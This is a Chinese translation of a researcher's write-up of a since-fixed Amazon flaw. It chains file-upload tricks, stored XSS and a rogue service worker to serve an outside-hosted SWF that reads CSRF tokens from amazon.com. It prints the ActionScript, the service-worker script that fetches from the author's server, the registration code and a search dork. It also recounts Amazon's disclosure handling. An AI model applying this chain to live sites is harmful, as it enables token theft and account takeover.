给亚马逊挖洞=义务劳动？看白帽子怎么玩坏它

介绍

众所周知，亚马逊是世界上最大的电子商务网站，拥有的员工数目超过34万。对于这么庞大的一个公司来说，网络环境的安全性至关重要，但是亚马逊却表示你为它提交漏洞是无偿的。这意味着你为他提交漏洞，使它的产品变得更加安全，但是你却得不到任何东西，就连一个简单的logo T恤也没有！

所以我不愿意在挖洞这件事上浪费太多的时间，而是把大部分精力放在了写完整PoC以及渗透测试报告上面。当然这次的漏洞不是一个理论方面的漏洞，的的确确是一个服务方面的漏洞。

我发现Amazon使用了同一个第三方程序(AnswerHub)，因为亚马逊给出的crossdomain.xml是非常多的，于是我有一个大胆的想法。如果我找到了能够上传SWF文件的Amazon子域名，那么我就可以从主域中盗取数据。不过有一点是他不允许上传任何flash内容。现在将讲述一下最有趣的部分，结束无聊的介绍吧～

技术细节

因为文章标题很吸引人，并且大多数人读这篇文章是想了解具体的技术，而不是听我讲故事吧。那么我就直接进入整体，讲讲一些技术问题吧。

一开始我使用google寻找一些使用AnserHub服务的大公司:

inurl:/questions/ask.html inurl:https://

这样一搜索，我发现很多大公司都使用了这一第三方服务，其中包括亚马逊，随之，我想到了它网站的crossdomain.xml，于是我就进行了尝试。

这是亚马逊网站的crossdomain.xml：

我的目标是http://gamedev.amazon.com，我可以上传XML文件，这一点可以触发存储型xss。但这并不是我的最终目的，于是我就尽我所能上传SWF文件，但是并没有奏效。 ?

进一步思考

我并没有在SWF文件上传中得到任何进展，于是陷入了思考，在思考的过程中，我发现我已经可以执行存储型xss攻击。灵机一现，想到了一个很不错的电子，如果我上传SVG文件以及JS文件，进而触发这一个域中的Service Worker不就完美了。

让我给你解释一下什么是Service Worker API(GOOGLE Chrome):

service worker是在你浏览器后台运行的脚本，它是和网页分开运行的，为不需要网页或者用户交互的功能打开了大门。目前，它已经包括了推送通知以及后台同步等功能。在未来service workers会支持周期性的执行任务等其他功能。本教程会讨论的核心功能是拦截和处理网络请求的能力，包括以编程方式管理相应缓存。
这一API的产生让人感到非常兴奋，它可以允许你离线体验，并且让开发者完全控制浏览器体验。

你是不是什么都没读懂？巧了我也是，所以我会进一步解释这一东西。
如果你想更近一步了解Service Worker，我强烈推荐你阅读:https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API，OK，我们来了解一下攻击原理以及每个文件的代码吧：

1.AS代码：对amazon发送HTTPS请求，并且接受返回的页面代码，进而找到csrftoken。以下是我写的代码：

import flash.external.*;
import flash.net.*;
(function () {
    var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
    loader.addEventListener("complete", loaderCompleted);
    function loaderCompleted(event) {
    ExternalInterface.call("alert", event.target.data.slice(189270,189335));
    }
})();

我将这一文件部署在了我的网站上。它会在之后攻击中用到。我将它命名为myexp.as，随之我使用SDK将这一文件生成SWF版本的代码。我同样使用php脚本从AS代码中产生SWF文件。

2.下面的JS文件会在网站中被认为是一个SW文件。并且可以拦截流量，在此目录生成SWF文件。

var url = "https://ahussam.me/myexp.swf"
onfetch = (e) => {
  e.respondWith(fetch(url);
}

这一代码会在service worker当前路径安装SWF文件，这一文件会从主web站点盗取CSRFrokens。

因为每次上传文件名都会改变，第一次上传这一文件之后会得到一个新文件名。因为上传过程中客户端会验证我们的后缀名，于是我将它重命名sw.txt。当我上传上去之后这一文件被重新命名为4837-sw.txt.下图是HTTP请求包：

3-将使用xml和JS来检测Service Worker的SVG文件的html页面。下面是JS脚本:

if ('serviceWorker' in navigator) {
// 4837-sw.txt is the previous file. 
navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337); 
}

就像我上一步做的，修改文件后缀名，以及content-type。下方是http请求包内容:

这是我使用的PoC:https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt

第一次攻击的时候，并没有成功(因为当前环境是http，而service worker只是在https中工作。如果当前环境并不是https，你可以对内容进行编码，进而执行函数)。但是之后经过一些调试就成功了。

我将这一问题报告给了亚马逊的安全部门，不过因为我的报告太长，他们并没有重现这一漏洞，而且安全部门还删除了我的PoC，拒绝了我的报告。

经过了几个月的等待，他们并没有回复我的消息，我发现这bug已经修复，所以我写了一个很长的消息告诉他们，我真的很讨厌他们处理报告的态度。但是他们设置的是自动回复，真的很不尊重人！过了一段时间之后我收到一封邮件:

Hi Abdullah,
对于未能及时回复您，我们感到非常抱歉，目前安全团队已经修复了这一问题。我代表他们向您发现这一漏洞表示感谢。
目前我们还没有漏洞奖励计划，但是我理解您希望能获得一些漏洞奖励以及回馈。我想我们会继续改进响应流程，采纳您的建议。
我们期待与您有更加深入的合作，保护AWS客户。
最好的祝福。
XXXXXXX XXX。
AWS Security
https://aws.amazon.com/security

结论

我现在已经可以得到csrf token，所以我可以修改用户的电话号码，这可能导致用户的账户被盗取。不仅是CSRF，而且还会出现信息泄漏，Oauth批准，地址泄漏等等。

本文翻译自：https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/，嘶吼翻译但并不代表认同其技术外观点。如若转载，请注明原文地址： http://www.4hou.com/web/7999.html 更多内容请关注“嘶吼专业版”——Pro4hou